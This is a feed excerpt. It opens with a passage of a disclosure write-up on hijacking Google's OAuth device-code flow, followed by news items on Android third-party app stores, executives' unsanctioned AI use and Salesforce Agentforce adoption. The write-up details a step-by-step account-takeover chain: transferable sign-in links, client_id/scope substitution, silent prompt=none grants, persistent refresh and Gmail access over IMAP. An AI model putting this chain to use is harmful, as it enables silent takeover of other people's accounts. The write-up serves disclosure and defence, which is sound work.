Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google öffnet Android für Drittanbieter-App-Stores, aber…]]></title>
<description><![CDATA[Google wird bald Drittanbieter-App-Stores für Android-Geräte erlauben, wie The Verge berichtet. Aus diesen alternativen App-Stores können Sie sich dann Apps genauso wie von Google Play herunterladen.



Allerdings erlaubt Google die Drittanbieter-App-Stores innerhalb von Google Play zunächst nur ...]]></description>
<link>https://tsecurity.de/de/3675334/it-nachrichten/google-oeffnet-android-fuer-drittanbieter-app-stores-aber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675334/it-nachrichten/google-oeffnet-android-fuer-drittanbieter-app-stores-aber/</guid>
<pubDate>Fri, 17 Jul 2026 09:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Google wird bald Drittanbieter-App-Stores für Android-Geräte erlauben, wie The Verge <a href="https://www.theverge.com/policy/965792/google-epic-withdraw-injunction-third-party-app-stores-coming-google-play">berichtet</a>. Aus diesen alternativen App-Stores können Sie sich dann Apps genauso wie von Google Play herunterladen.</p>



<p>Allerdings <a href="https://support.google.com/googleplay/android-developer/answer/17187609">erlaubt</a> Google die Drittanbieter-App-Stores innerhalb von Google Play zunächst nur in den USA. Dort soll die neue Regelung am 22. Juli 2026 in Kraft treten. Google schreibt:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Die App- und Spiel-Einträge von Entwicklern in den USA werden ab dem 22. Juli 2026 für US-amerikanische Android-App-Stores von Drittanbietern verfügbar sein.</p>



<p>Ab dem 22. Juli 2026 werden Ihre App- und Spiel-Einträge in den USA – einschließlich der Namen Ihrer Apps und Spiele, ihrer Symbole, ihrer Beschreibungen sowie aller Screenshots und Videos, die Sie Google Play zur Verfügung gestellt haben – für US-amerikanische Android-App-Stores von Drittanbietern verfügbar sein. (Dies geschieht zur Einhaltung einer US-Gerichtsanordnung.) </p>



<p>Andere US-amerikanische Android-App-Stores können diese Apps den Nutzern anbieten, und der Download dieser Apps erfolgt über Google Play zu denselben Bedingungen wie jeder andere Download, der direkt über den Google Play Store erfolgt. Die Servicegebühr von Google Play gilt weiterhin für Apps, die auf diese Weise heruntergeladen werden.</p>



<p>US-amerikanische Android-App-Stores von Drittanbietern unterliegen nicht den Inhalts- und sonstigen Richtlinien von Google Play und können eigene Inhalts- und sonstige Richtlinien haben.</p>
</blockquote>



<p>Ob und wann die neue Store-in-Store-Regelung auch außerhalb der USA gilt, ist derzeit nicht bekannt. In Deutschland müssen Sie sich also auch weiterhin Apps, die nicht auf Google Play verfügbar sind, via Sideloading besorgen. In <a href="https://www.pcwelt.de/article/1183182/app-stores-die-besten-alternativen-zu-google-play.html" target="_blank" rel="noreferrer noopener">App-Stores für Android: Die besten Alternativen zum Google Play Store </a>stellen wir Ihnen die besten Altenativen zu Google Play vor, die Sie in Deutschland nutzen können.</p>



<p><a href="https://www.pcwelt.de/article/3188613/diese-neuen-funktionen-bekommen-android-nutzer-jetzt-im-juli-2026.html" target="_blank" rel="noreferrer noopener">Diese neuen Funktionen bekommen Android-Nutzer im Juli</a></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Senior executives are killing your shadow AI strategy]]></title>
<description><![CDATA[Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey b...]]></description>
<link>https://tsecurity.de/de/3675293/it-security-nachrichten/senior-executives-are-killing-your-shadow-ai-strategy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675293/it-security-nachrichten/senior-executives-are-killing-your-shadow-ai-strategy/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.</p>



<p class="wp-block-paragraph">Nearly two-thirds of senior decision-makers admit to using <a href="https://www.cio.com/article/4178359/why-your-most-ai-savvy-employees-are-driving-shadow-ai.html">unapproved AI tools</a>, compared to just 31% of lower-level employees, according <a href="https://www.trustedtechteam.com/pages/shadow-ai-whitepaper-download">to a survey</a> by Microsoft solutions partner TrustedTech.</p>



<p class="wp-block-paragraph">The use of <a href="https://www.cio.com/article/647725/it-leaders-grapple-with-shadow-ai.html">shadow AI</a> is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.</p>



<p class="wp-block-paragraph">“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”</p>



<p class="wp-block-paragraph">In many cases, the problem is driven by a lack of approved tools, the report adds.</p>



<p class="wp-block-paragraph">“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”</p>



<h2 class="wp-block-heading">A question of authority</h2>



<p class="wp-block-paragraph">The use of shadow AI by CEOs and other C-suite executives can create major problems for CISOs, CIOs, and other IT executives because they may not have the authority to put the kibosh on it.</p>



<p class="wp-block-paragraph">It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.</p>



<p class="wp-block-paragraph">When executives use shadow AI, CISOs are in a difficult position, because governance only works when it’s modeled from the top, says<a href="https://www.linkedin.com/in/annolan/"> Andy Nolan,</a> VP of technology at TrustedTech.</p>



<p class="wp-block-paragraph">“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”</p>



<p class="wp-block-paragraph">Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.</p>



<p class="wp-block-paragraph">But CISOs and CIOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.</p>



<p class="wp-block-paragraph">“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”</p>



<h2 class="wp-block-heading">All risk, no reward</h2>



<p class="wp-block-paragraph">The use of shadow AI by senior executives puts CISOs and CIOs in an impossible position, agrees <a href="https://www.linkedin.com/in/amit-maloo-b087291/">Amit Maloo</a>, CISO at AI procurement provider Ivalua. CISOs and CIOs are <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html?utm=hybrid_search">held accountable</a> for the risk exposure but have no visibility into the problem, he says.</p>



<p class="wp-block-paragraph">“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”</p>



<p class="wp-block-paragraph">Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.</p>



<p class="wp-block-paragraph">“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”</p>



<p class="wp-block-paragraph">IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”</p>



<h2 class="wp-block-heading">Speed over security</h2>



<p class="wp-block-paragraph">The TrustedTech data echoes a <a href="https://www.teramind.co/l/shadow-ai-report-2026/">June report</a> from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes <a href="https://www.linkedin.com/in/nikkale/">Nik Kale</a>, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.</p>



<p class="wp-block-paragraph">In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.</p>



<p class="wp-block-paragraph">“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”</p>



<p class="wp-block-paragraph">The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”</p>



<p class="wp-block-paragraph">In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds <a href="https://www.linkedin.com/in/matt-scavetta-018b10173/">Matthew Scavetta</a>, chief technology innovation officer at IT solutions provider Future Tech Enterprise.</p>



<p class="wp-block-paragraph">Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.</p>



<p class="wp-block-paragraph">“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”</p>



<p class="wp-block-paragraph">Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.</p>



<p class="wp-block-paragraph">“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



